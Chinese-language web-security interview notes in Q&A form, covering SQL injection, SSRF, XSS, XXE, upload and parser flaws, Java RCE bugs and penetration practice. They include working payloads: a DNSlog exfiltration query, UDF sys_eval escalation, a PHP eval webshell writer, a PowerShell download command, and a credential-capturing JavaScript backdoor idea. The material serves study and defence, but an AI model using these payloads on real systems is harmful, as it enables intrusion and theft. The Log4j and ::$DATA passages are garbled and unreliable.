本文为原创,未经同意禁止转载。
欢迎大家共同交流,有误的地方请指出,和大家共同进步。
Web 漏洞
SQL 注入
- 什么是 SQL 注入攻击?
将恶意的 SQL 查询或添加语句插入到应用的输入参数中,然后在后台 SQL 服务器上解析执行进行。
- 如何防护 SQL 注入攻击?
- 采用预编译语句:而不是拼接字符串来构建 SQL 查询;(具体看15)
- 输入验证和过滤:对用户输入进行严格验证和过滤;
- 最小权限原则:确保数据库只有执行必要操作的最小权限;
- 使用安全 SQL 函数:微软
- SQL 注入的危害。
- 获取未经授权的敏感信息
- 网页内容篡改
- 可能会导致设备无法正常运行
- SQL 注入的分类。
联合注入、布尔盲注、时间盲注、报错注入、堆叠注入
- MySql 的网站注入 5.0 以上和 5.0 以下有什么区别?
- 5.0 及以上都有 information_schema
- 5.0 以上是多用户 5.0 以下是单用户
- 不过目前数据库大多都是 5.0 以上的
- MySql 常用注入函数。
updatexml、database、user、version、substr、length、sleep、ascii、ord
- 怎么判断延时注入?
- sleep 函数 看页面的响应时间
- 如果空格被过滤如何绕过?
- 使用()拼接 SQL 语句代替空格的作用
- 内联注释:
select/**/user()/**/from/**/dual
- 使用 %a0
- 如果单引号被过滤如何绕过?
单引号一般都在 where 的后面
select column_name from information_schema.tables where table_name=“users”
可以采用对 " " 之中的内容进行 十六进制编码
where table_name=0x7573657273
- 宽字节注入的原理。
开始魔术引号函数,所有的单引号(‘),双引号(“),反斜杠()和null字符都会自动加上一个反斜杠进行转义。其中\的十六进制时%5C,在单引号前面加上%df的时候,最终就会变成 運’,如果程序默认的字符集是ASCII编码,而MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字节,而不是两个字符,也就是運,也就是说 %df\’ = %df%5c%27 =縗’ 有了单引号就好注入了。
- SQL 注入写入 shell 的条件 案例参考
- 知道绝对路径
- secure_file_priv 未配置
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
- 有root权限
- SQL里面只有update怎么利用
如果该题目所描述的为:web 应用只有 update 功能 ,可以利用 updatexml 进行报错注入
- DNSlog 结合布尔盲注怎么快速获取数据。
MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据
核心语法:select load_file(concat(‘\\’, (select database()), ‘.mysql.r4ourp.ceye.io\abc’))
也需要 secure_file_priv 不能为 NULL
- SQL注入Bypass 参考连接
- 为什么参数化查询可以防止 sql 注入?
在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部分来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中有恶意的指令,由于已经编译完成,就不会被数据库运行。目前,参数化查询是最有效可预防SQL注入攻击的的防御方法。
- 如何突破注入时字符被转义?
可以尝试使用宽字节进行注入
- udf 提权原理 参考连接
user define function 用户自定义函数
- 可以在myql的根目录下/lib/plugin 目录下,存放一个 udf.dll 文件,在 udf.dll 中定义了 sys_eval 函数。
- 通过 声明引入udf.dll 就可以使用 sys_eval 来执行系统命令
提权条件:
- root权限
- secure_file_priv =
过程如下:
声明:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
使用:select sys_eval('cmd command');
实战过程:
- 本地编写udf函数并转为16进制(命名为udf.txt)
- 在数据库中新建一个表 udftmp,列名为c,将udf.txt 的内容写入表中(
instert into udftmp value(unhex('本地的udf.txt'))
)- 将udftmp c列的内容写入数据库的根目录 /lib/plugin 下(
select c from udftmp into dumpfile 'C:\\lib\\plugin\\udf.dll'
)- 导入 udf 函数
creta function sys_eval returns sting soname 'udf.dll'
- 使用
select sys_eval('**cmd command**')
udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充。存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。
- SQLmap --os-shell 原理
写入两个php文件,一个用来文件上传,另一个通过这个文件上传的方式来命令执行。
对于 MySql 数据库 来说,–os-shell的本质就是写入两个php文件,其中的tmpugvzq.php可以让我们上传文件到网站路径下。然后 SqlMap 就会通过上面这个php上传一个用于命令执行的tmpbylqf.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。
- SQLmap --sql-shell 与 --os-shell 的区别
交互的对象不同,一个是数据库 一个是操作系统:
对于–sql-shell 来说 : sqlmap 会获取一个 sql 的 shell 用来执行 sql 语句
对于–os-shell 来说: sqlmap 会获取一个系统的 shell 用来执行 os 的命令
CSRF(跨站请求伪造)
- CSRF漏洞的原理是什么(简单)
是因为web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为。
- 一次CSRF攻击的过程中,受害者需要依次完成两个步骤 :
- 1.登录受信任网站A,并在本地生成Cookie 。
- 2.在A的cookie存活期内,访问危险网站B。
- CSRF如何防御(简单)
- 使用验证码
- 在请求地址中添加token 并验证
- 在HTTP 请求头中添加自定义属性并验证
- 验证 HTTP Refer 字段
- 使用jwt可以,因为jwt是放在localStorage中,与cookie无关
- 一般用BP怎么快速判断是否存在CSRF (中)
使用 BP 抓取数据包,然后使用 CSRF POC 工具 自动生成脚本 修改参数 提交
- 举例一个CSRF的应用场景(中)
一般来说,修改个人信息、添加用户、数据库备份等处都可能存在
- CRLF原理(HTTP拆分攻击) 详情
CRLF注入漏洞又称HTTP响应拆分漏洞(HTTP Response Splitting),攻击方式是将回车符、换行符注入到HTTP的响应包中。
原理:HTTP响应包通常以两个换行符,去划分响应头与响应正文两个部分。当用户的操作足以控制响应头的内容时,将会出现CRLF漏洞。
修复:过滤 \r 、\n 之类的换行符,避免输入的数据污染到其他 HTTP 消息头。
-
如何用BP挖掘CSRF(难)
-
csrf 如何不带referer访问
SSRF(服务器端请求伪造)
- SSRF漏洞是如何产生的(简单)
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
为什么 SSRF 能碰到内网?
SSRF攻击的目标是外网无法访问的内部系统,正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统
SSRF 的类型:
1)显示对攻击者的响应(basic):在服务器获取攻击者要求的URL后,把响应发送回攻击者。
2)不显示响应(blind):在服务器获取攻击者要求的URL后,不会把响应内容发送给攻击者,需要通过抓包或查看服务器日志判断是否存在服务端请求伪造漏洞。
常用协议:
http/https、dict、file、gopher、sftp、ldap、tftp
- SSRF的危害(简单)
- 对内网进行端口扫描和主机存活探测等敏感信息收集
- 攻击内外网其他存在漏洞的web应用(主要是get参数攻击)
- 造成内外网DDOS攻击
- 通过file://读取本地任意文件,通过dict协议获取服务器端口服务,通过http协议探测web应用等等。
- SSRF 如何修复?
- 限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求。
- 限制不能访问内网IP,以防对内网进行攻击。
- 屏蔽返回的详细信息。
- 采用ssrf 过滤器
- SSRF如何防御?
SSRF 过滤器:
- 获取 url ,从url 中提取 host,如果提取出来的是 IP 直接跳转到第三步;
- 对 host 进行 DNS 解析,获取解析到的 IP
- 对 IP 的合法性进行判断,是否为私有 IP
- 如果 IP 合法,则进入 curl 发包
- DNS rebinding
同样 ssrf 过滤器也带来了新的问题和绕过姿势。
对于ssrf过滤起来说,会有两次dns解析,第一次是拿到host解析ip,第二次是curl发包会解析。
DNS rebinding 原理如下:
首先我们有一个钓鱼网站叫做fish.a.com,当受害者第一次访问钓鱼网站,会向公网DNS服务器请求解析,然后就会拿到一个正常的IP地址,当TTL(time to live)时间一失效,钓鱼网站的js脚本就会自动重新请求fish.a.com,此时,受害者又会向公网的DNS服务器请求解析,这次拿到的就是127.0.0.1了,这就形成了dns rebinding。
这里会有一个问题,我怎么能修改公网DNS服务器的呢?这需要我们自己建立一个DNS服务器(b.com),并且在公网的DNS服务器中写入请求*.a.com时,都会转发到自己搭建的DNS服务器。所以两次解析第一次返回公网IP,第二次返回攻击IP。(在DNS服务器中,可以对同一个域名写入多条不同的解析)
- SSRF常见出没位置(中等)
- 分享:http://share.xxx.com/index.php?url=http://127.0.0.1
- 图片加载与下载:http://image.xxx.com/image.php?url=http://127.0.0.1
- 图片、文章收藏:http://title.xxx.com/title?title=file://etc/passwd
- 还可用以下参数来寻找:share、src、link、domain等
- 利用 apache 和 tcpdump 怎么测试SSRF(中等) 详情
- 利用 Apache 服务,在可能存在 SSRF 的地方 访问 Apache 服务地址,再通过查看 Apache 的日志,发现被访问了,说明此处确实存在 SSRF
- 使用 kali 进行抓包
tcpdump -nne -i eth0 port 6666
,然后在有 SSRF 的地方 访问 ip:6666,kali的终端会有 请求信息。
- SSRF无回显怎么办(难)dnslog
- 我觉得可以配合dict、file、gopher、sftp、tftp等协议来进行
- 使用dnslog :http://localhost/ssrf.php?url=http://zdutpn.dnslog.cn
- SSRF 和 redis 怎么配合 GETSHELL ?(难)
- 参考资料
- 利用条件:ssrf漏洞(跳板机)和redis(受害者,存在未授权访问漏洞)
- 利用ssrf gopher 协议 传入 redis 通信的数据 (构建bash反弹shell) 如何写?
- 构造一个 crontab文件 存放在服务器的/etc/目录下 里面会有 bash命令
为啥要这样呢?比如web服务器(存在ssrf漏洞)会请求内网的资源(redis),但是我们碰不到内网,这个时候web服务器就是一个好的跳板,用来获取内网机的内容。
未授权访问
redis.conf 的配置文件中,有两个关键配置会造成 redis 未授权访问
- bind x.x.x.x 配置允许登录 redis 的 ip 如果是bind 0.0.0.0 相当于直接放到公网了
- protected-mode 版本 redis 3.2 之后,如果 redis 没有密码和配置 bind ,则redis默认只允许本机访问
- SSRF绕过方式有哪些(难)
- @ -> http://abc.com@127.0.0.1 -> http://127.0.0.1
- 添加端口号 -> http://127.0.0.1:8080
- ip地址转换成进制来访问 192.168.0.1=3232235521(十进制)
- 非HTTP协议
- DNS Rebinding(可以用来绕过SSRF 过滤器)
- 句号绕过 127。0。0。1 >>> 127.0.0.1
文件上传
- 文件上传的原理(简单)
文件上传漏洞是指用户上传了一个可执行的脚本文件(php、jsp、xml、cer等文件),而WEB系统没有进行检测或逻辑做的不够安全,导致供给制可以执行脚本文件。
- 上传白名单怎么绕过(中)
- 前端验证:前端页面中可能会有 checkFile() 函数,直接将其删除
- MIME验证:通过 burp 修改上传文件的 MIME类型
- 这种情况中,会从 . 的位置将文件分成两部分,并且会将文件先放到临时目录下,并生成一个临时文件名称。接着会随机生成一个文件名,再和被截取的后缀进行拼接,然后将临时目录下的文件移动到正式文件中。这个时候就要采用 00截断(具体原理下面有)
- 上传黑名单怎么绕过(中)
- 等价扩展名
- 上传图片马 配合 .htaccess 对图片马解析执行
- 后缀名大写
- 在windows中,后缀名加空格或者.(windows服务器会自动删除的)
也有一种特殊的情况,会删除连续的 . ,但是 只要使用 .php.(空格). 就可以绕过
- 使用
::$DATA
:: D A T A 的作用就是在 w i n d o w 的时候如果文件名 + " : : $ D A T A " 会把 : : $ D A T A 之后的数据当成文件流处理 , 不会检测后缀名,且保持 : : DATA的作用就是在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持:: DATA的作用就是在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::DATA之前的文件名,他的目的就是不检查后缀名。
- 其他的检查绕过。(中)
- 使用getimagesize()检查是否为图片文件 ,使用Hex对上传的文件头进行修改。GIF98a
- 使用exif_imagetype()检查是否为图片文件,使用Hex对上传的文件头进行修改
- 同时都可以使用图片马进行绕过
- 利用00截断绕过的原理是什么(中)
- 事实上0x00,%00,/00这三类阶截断都是属于同种原理,只是表示不同而已
- 原理:在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
- 利用条件:php版本要小于5.3.4,magic_quotes_gpc需要为OFF状态、上传路径可控
- 条件竞争的原理是什么(难)
在某些文件上传情境中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件是否含有风险,如果有的话会被删除,这是我们就需要和删除函数(如unlink()函数)来进行时间与线程上的竞争,争取在删除文件之前访问到该文件,达到攻击效果。ps:因为被占用的文件是不能对其进行操作的。
具体操作就是:先上传一个文件,再使用 burp 的 Sniper 疯狂的访问这个文件。
- 二次渲染怎么绕过(难)
- 配置条件竞争漏洞绕过
- 配合文件包含漏洞绕过,也就是将二次处理后的图片进行保留,在做成图片马进行上传,再配合解析文件包含漏洞解析图片马。
- 使用 HxD Hex Editor 工具对比渲染以后和之前代码中没有变化的部分,写入一句话木马。
什么是二次渲染:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。
- 图片木马怎么可以被解析(难)
- 使用.user.ini 或者 .htaccess 对图片马进行解析
.user.ini 方式使用限制:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式.htaccess 方式使用限制:
服务器允许上传 .htaccess 文件 或者 允许 修改 .htaccess 文件
命令执行和代码执行
- 命令执行和代码执行的区别(简单)
- 命令执行:未严格过滤用户输入的参数,导致用户可以通过传参在服务器终端执行系统命令,相当于是在命令行终端下执行系统命令
- 代码执行:未严格过滤用户输入的参数,导致用户可以通过传参在web服务器上执行恶意代码
- 命令执行的函数(简单)
- PHP:system、exec、shell_exec、passthru、popen、反引号
- Java:getRuntime().exec()
- Python:os.system、os.popen、commands、subprocess
- 代码执行的函数(简单)
- PHP:eval、assert、creat_function
- Python:eval、exec
- 回调函数有哪些(中)
- PHP:call_user_func、call_user_func_arry 都可以调用 assert 来执行命令
- Eval和assert做免杀,哪个函数好,为什么?(难)
使用 assert 做免杀
- assert 是函数、eval不是函数,是语言构造器
- eval中的参数只能是字符串,而assert的参数可以是php代码的字符串,也可以是php代码,同时assert也可以借助eval来执行多条语句
语言构造器解释:参考
也就是不能
$fun = ‘eval’
$fun(eval(‘echo 123’))
这样会报错的
assert 与 eval 的区别:
相同点:二者都可以执行php语句。
不同点:
eval:
- eval()里必须是字符串;
- eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str
- eval() 函数把字符串按照 PHP 代码来计算(计算=执行)
- 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
- 如果没有在代码字符串中调用 return 语句,则返回 NULL。
assert:
- 在程序的运行过程中调用 assert 来进行判表达式,遇到 false 时程序也会继续执行完成,这个 assert 是用来开发环境中 debug 的。
站在安全的角度来讲,必须使用 eval 而不是 assert
XSS
- XSS漏洞的原理(简单)
服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的
- XSS有哪几种类型(简单)
- 反射型:交互的数据一般不会存在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
- 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板、注册等页面。
- DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。
- XSS可以产生哪些危(中)
- 窃取用户Cookie
- 后台增删改文章
- XSS钓鱼攻击
- 利用XSS漏洞进行传播和修改网页代码
- XSS蠕虫攻击
- 网站重定向
- 获取键盘记录
- 获取用户信息等
- http-only 怎么绕过(难)
- CVE-2012-0053。Apache服务器2.0-2.2版本存在个漏洞 CE-2012-0053:攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie。源代码可参见: htps:/ww.explwi db.com/exploits/18442/。除了Apache,-些其他的 Web服务器在使用者不了解其特性的情况下,也很容易出现HttpOnly保护的Cookie被爆出的情况,例如Squid等。
- PHPINFO页面。无论是否设置了HttpOnly 属性,phpinfoO) 函数都会输出当前请求上下文的Cookie信息。如果目标网站存在PHPINFO页面,就可以通过XMLHttpRequest请求该页面获取Cookie信息。
- Flash/Java。安全团队seckb在2012年提出,通过Flash、Java 的一些API可以获取到HttpOnly Cookie,这种情况可以归结为客户端的信息泄露,链接地址为: htp://ckb.yehg.net/2012/0/xss-gaining-gaCss-t-ttponly-cookie.html。
- 还可可以通过表单劫持。
什么是 http-only?
如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。
- XSS钓鱼怎么做,说一些思路(难)
- 构造恶意url,诱导用户点击,通过doucument获取用户的cookie
- 钓鱼攻击:诱导用户点击连接,通过WWW-Authentictate 获取用户的账号密码
- 键盘记录:通过rk.js 获取用户的键盘输入
- XSS 蠕虫原理(中)
XSS蠕虫是一种借助 Ajax 技术实现对Web应用程序中存在的XSS漏洞进行自动化利用传播的蠕虫病毒,它可以将一些用户数据信息发送给Web应用程序然后再将自身代码传递进入Web应用程序,等到被感染用户访问Web应用程序时,蠕虫自身将又开始进行数据发送感染。
- 如果叫你来防御蠕虫,你有哪些方法?(难)
- 对用户输入的数据进行验证和过滤
- 将用户输入或其他不可信任的数据呈现在网页上之前,使用合适的输出编码
- 对HTTP头进行设置,如CSP 和 X-Content-Type-Options 来降低 XSS的攻击的风险
- 也可以使用 CSRF 的方法减少 蠕虫所带来的影响
XXE
- XXE漏洞原理(简单)
- 攻击者提供恶意构造的 XML 输入,其中包含对外部实体的引用(DTD 可以在内部或者外部声明)
- 应用程序解析 XML 输入时,根据 DTD ,它可能还会加载外部实体的内容并将其合并到 XML 中。
- XXE漏洞可以干什么(简单)
- 任意文件读取
<!ENTITY xxe SYSTEM "file:///c:/Users/ROG/Desktop/1/phpinfo.txt" >
- 系统命令执行
<!ENTITY xxe SYSTEM "expect://ipconfig" >
- 系统命令执行需要 php 安装 expect 插件
- 探测内网
<!ENTITY xxe SYSTEM "http://192.168.1.1:80" >
- 拒绝服务攻击
- 任意文件读取
- XXE如何防御(简单)
- 禁用外部实体的方法
- 过滤用户提交的 XML 数据
- 不允许 XML 中含有自己定义的 DTD
- XXE读取文件无回显和有回显怎么读取(中)
- 无回显。可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。
- 有回显。
- file:///c:/windows/win.ini
- php://filter/read=convert.base64-encode/resource=file:///c:/xxx.php
解析漏洞
- Apahce 解析漏洞(中)
- 第一种:Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。
- 第二种:AddHandler 导致的解析漏洞:如果在Apache的conf里有这样一行配置AddHandler:php5-script.php这时只要文件名里包含.php即使文件名是test2.php.jpg也会以php来执行
- 第三种:AllType 导致的解析漏洞:如果在Apache的conf里有这样一行配置AddType:application/x-http-php.jpg即使扩展名是jpg,一样能以php方式执行。
- .htaccess文件如果可以上传且能覆盖原有配置。 文件写入配置<FIlesMatch"hello">SetHandler application/x-httpd-php
- IIS 解析漏洞(中)
- IIS 6.0 解析漏洞
- 目录解析:以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。
- 文件解析:*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。
- IIS 7.0 / IIS 7.5 解析漏洞
- 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.PHP会将/xx.jpg/xx.php解析为php文件。
- 条件:需要开启两个开关,php.ini里cgi.fix_pathinfo=1(默认为0)和IIS中的处理程序映射->phpstudy2018_FastCgi->消勾选 请求限制里的第一个选项。
- IIS 6.0 解析漏洞
- Nignx 解析漏洞(中)
- 该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项 cgi.fix_pathinfo 默认开启,当URL中有不存在的文件,PHP就会向前递归解析,在一个文件路径(/xx.jpg)后面加上/xx.PHP会将 /xx.jpg /xx.php 解析为 php 文件。
- Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞
- 在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件
- 另一种手法:上传一个名字为test.jpg,以下内容文件。
<?PHP fputs(fopen(‘shell.php’.‘w’),‘<?php eval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马hell.php。
- IIS6.0和7.0解析漏洞哪里不同
- 不知道
- Php和apahce结合的方式有哪些
Java漏洞
- FastJson 漏洞的原理 Fastjson1.2.24-RCE
原理:fastjson在对 JSON 字符串进行反序列化的时候,会读取 @type 的内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的setter或者getter方法。
链接:为什么要引入 Auto type(@type)
大致过程:
- Shiro 550 和 721 不同之处 shiro(550/721)_CVE-2016-4437
- 550是因为用了默认密钥,直接可以通过默认密钥去构造恶意的cookie
- 721 是需要从 remeberMe 中先拿到合法的加密后的cooki,通过撞库撞出密钥,再构造恶意cookie
- Log4J2漏洞
原理:Apache log4j2-RCE漏洞源于log4j2提供的lookup功能下的jndi lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。
攻击流程:
RMI 和 LDAP 同理
1.攻击者发送一个HTTP请求,其用户名为
j
n
d
i
:
r
m
i
:
/
/
r
m
i
服务器地址
/
E
x
p
l
o
i
t
2.
被攻击服务器发现要输出的信息中有
{jndi:rmi://rmi服务器地址/Exploit} 2.被攻击服务器发现要输出的信息中有
jndi:rmi://rmi服务器地址/Exploit2.被攻击服务器发现要输出的信息中有{},则其中的内容要单独处理,进一步判断解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
3.RMI服务器返回Reference对象(用于告诉请求对象所在的类),而该Reference制定了远程文件下载服务器上含有恶意代码的class文件。
4.被攻击服务器通过Refence对象去请求下载服务器上的class文件。
5.被攻击服务器下载恶意class文件并执行其中的恶意代码。
复现过程:Apache log4j2-远程代码执行
- JNDI注入是什么 是什么?参考 log4j2 ,log4j2 就是利用了 jndi 注入
JNDI 注入得条件
- JNDI调用的lookup参数可控
- URI可进行动态协议转换
- Reference对象指定类会被加载并实例化
- DDOS(分布式拒绝攻击)
一个比较完善的DDos攻击体系分成四大部分,分别是攻击者( attacker也可以称为master)、控制傀儡机( handler)、攻击傀儡机( demon,又可称agent)和受害着( victim)。第2和第3部分,分别用做控制和实际发起攻击。第2部分的控制机只发布令而不参与实际的攻击,第3部分攻击傀儡机上发出DDoS的实际攻击包。对第2和第3部分计算机,攻击者有控制权或者是部分的控制权,并把相应的DDoS程序上传到这些平台上,这些程序与正常的程序一样运行并等待来自攻击者的指令,通常它还会利用各种手段隐藏自己不被别人发现。在平时,这些傀儡机器并没有什么异常,只是一旦攻击者连接到它们进行控制,并发出指令的时候,攻击愧儡机就成为攻击者去发起攻击了。
- Land攻击
LAND攻击利用了TCP连接建立的三次握手过程,通过向一个目标计算机发送一个TCP SYN报文(连接
建立请求报文)而完成对目标计算机的攻击。与正常的TCP SYN报文不同的是,LAND攻击报文的源IP地址
和目的IP地址是相同的,都是目标计算机的IP地址。这样目标计算机接收到这个SYN报文后,就会向该报文
的源地址发送一个ACK报文,并建立一个TCP连接控制结构(TCB),而该报文的源地址就是自己,因此,
这个ACK报文就发给了自己。这样如果攻击者发送了足够多的SYN报文,则目标计算机的TCB可能会耗尽,
最终不能正常服务。
- TCP flood 攻击原理
利用了 TCP 连接建立的三次握手过程。通过向目标主机发送一个TCP SYN报文,目标主机会回复一个 SYN + ACK 包给攻击者,但此时攻击机不会回复 ACK 报文,此时目标主机就会进入一个超时重传的状态。当服务器端接受到 SYN 包,会建立一个半连接的 Socket 状态。此时大量的僵尸机发送 TCP SYN 报文,就会耗尽服务端的资源
- 这里补充一个 jwt 和 session 的知识:
- jwt : header + payload + signature 三部分组成
- jwt 是无状态的(就是不会记录用户的登录状态),传统的session 是有状态的,会记录在cookie的session ID 中。
- jwt 对比 session 来说,jwt是存储在客户端,而session是存储在服务器端,可以有效减少服务器的资源
- jwt缺点:比如:我们想要在 JWT 有效期内废弃一个 JWT 或者更改它的权限的话,并不会立即生效,通常需要等到有效期过后才可以。再比如说,当用户 Logout 的话,JWT 也还有效。除非,我们在后端增加额外的处理逻辑比如将失效的 JWT 存储起来,后端先验证 JWT 是否有效再进行处理。这对比session来说是比较麻烦的。
- jwt : header + payload + signature 三部分组成
渗透实战
- 渗透测试的流程
确定目标、信息收集、漏洞探测、漏洞利用getshell、内网转发、内网渗透、痕迹清除、撰写渗透测试报告
- 目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
- 用户名遍历
- 遍历完用户名以后,再利用爆破出来的用户名爆破密码
- 在有shell的情况下,如何使用xss实现对目标站的长久控制?
后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。在登录后才可以访问的文件中插入XSS脚本。
- 上传大马后访问乱码时,有哪些解决办法?
改变浏览器的编码
- 拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?
通过配置.htaceess文件,上传一个一句话木马,留后门
- 为何一个mysql数据库的站,只有一个80端口开放
更改了端口,没有扫描出来。站库分离。3306端口不对外开放
- 通过TTL如何大体判断是linux还是windows
- linux:64 windows :128
- 补充:windows大小写不敏感,linux敏感
- 3389端口无法连接怎么有哪些情况
- 服务器在内网
- 做了tcp/ip筛选
- 做了ip安全策略或者windows自带的防火墙
- 设置了只有指定用户可以连接
- 超出服务器最大连接数
- 如果拿下了内网边界层的某一个机器,如何对内网其他进行探测
拿下机器后,使用nmap等工具进行扫描,发现web服务的主机和其它信息。有时这些边界机器上会记录一些内网服务器上的一些信息(用户 ssh known_hosts hosts 防火墙设置 记录、内网之间好多waf 规则基本都是空,大多数waf防外部威胁 这时候可以拿到探测的内部一些开放的端口判断进行渗透,通常用户这里基本是统一命名的 拿到的各种记录 会暴露出部分内网通讯的ip
- Redis未授权常见getshell的几种方式
- 利用公私钥认证获取root权限:攻击者利用自己生成的公钥文件放到/root/.ssh目录下,并命名为authorized_keys,从而在目标系统上使用私钥文件登录root用户,从而getshell。需要存在/root/.ssh目录并且可以写入,并且能够使用ssh连接。
- 利用crontab 定时任务反弹 shell:将包含反弹shell命令的数据文件写入到/var/spool/cron/crontabs 目录下,并命名为root,从而在目标系统上创建一个定时任务,在指定时间执行反弹 shell 命令。这种方法需要系统存在该目录且有写入权限,并且能监听到反弹的shell
- 利用 redis 主从复制 rce:利用 redis 支持主从复制功能,将攻击者恶意搭建的redis作为主服务器,将目标系统上的redis作为从服务器,并向从服务器发送包含恶意模块或命令的数据包,从而在目标系统上加载恶意模块或命令执行,获取目标权限。
- PhpMyAdmin getshell 几种方式
- 如果发现了可以用 SUID 提权,用什么方式可以用root 登录
- SUID介绍:
- 只有可执行的二进制程序才能设置SUID
- 命令执行者要对该程序拥有x(执行)权限
- 命令执行者再执行该程序时获得该程序文件属组的身份
- SUID旨在程序执行过程中有效
- 已知可以用来提权的 Linux 文件 :
Nmap、Vim、find、Bash、More、Less、Nano、cp
- 具体每种文件如何提权:参考
- 如果SQL注入的时候,报错的长度有限制,怎么解决
- limit
- mid
- sqlmap
- sleep被禁用后还能怎么进行sql注入(采用计算量大的语句) 参考
- 还可以使用其他函数如:benchmark()、pg_sleep()、waitfor delay
- 通过rpad或repeat构造长字符串,加以计算量大的patten,通过repeat的参数可以控制延时长短。
- 微信小程序怎么抓抓包
- windows环境下,开全局代理就能抓到
- 文件包含怎么getshell的场景 参考
- 配合图片马 getshell
- 包含临时文件getshell
- 包含session文件getshell
- 包含日志文件getshell
- MD5比较怎么绕过弱类型和强类型
- 弱比较:
- 科学计数法 0e 绕过
- 数组绕过
- 强类型:
- 可以使用md5值完全相同的字符串来绕过
- 数组绕过
- 强碰撞:使用string 函数 强行把数组变成str
- 目前解决方案就是有两个特殊的字符串值
- 为什么要降权
- 无法获得当前用户的文件内容
- 环境变量有差异
- windows怎么实现命令行的下载文件
- powershell
powershell (new-object System.Net.WebClient).DownloadFile('下载地址','文件保存地址')
- Bitsadmin
- certutil
- DLL劫持的原理是什么?
DLL:.dll文件是Dynamic Link Library(动态链接库)文件的缩写,它是一种共享库文件,包含了程序所需的代码和数据。与静态链接库不同,动态链接库可以在程序运行时动态加载,使得程序的内存占用更小,同时也方便了程序的更新和维护。
原理:如果在进程尝试加载一个DLL时没有并没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录来查找这个DLL,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL,形成”劫持”
- 怎么隐藏注册表的原理
- https://zhuanlan.zhihu.com/p/32179721
- 注册表经过特殊构造,键值以\0开头,在windows中会被解析为结束符,导致被截断。可以通过Native API 创建一个以\0开头的键值
- 怎么隐藏服务
- 通过SDDL修改服务的安全描述符,使用sc命令的sdset模块。
- NTLM, v1 和V2 协议区别是啥?
- NTLM使用在Windows NT和Windows 2000 Server(or later)工作组环境中(Kerberos用在域模式下)。在AD域环境中,如果需要认证Windows NT系统,也必须采用NTLM。较之Kerberos,基于NTLM的认证过程要简单很多。NTLM采用一种质询/应答(Challenge/Response)消息交换模式。
- NTLM v1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash。
- Challage:NTLM v1的Challenge有8位,NTLM v2的Challenge为16位。
- Net-NTLM Hash:NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。
- LM 和NTLM 的区别是啥
- LM 加密:将口令转为大写->转为二进制(不足14字节的需要用0补足)->切割为两组7字节的的数据->str_to_key()处理为两组8字节的数据->每组数据作为DESKEY对魔术字符串“KGS!@#$%”进行标准DES加密->将两组数据加密后的结果拼接->LM Hash
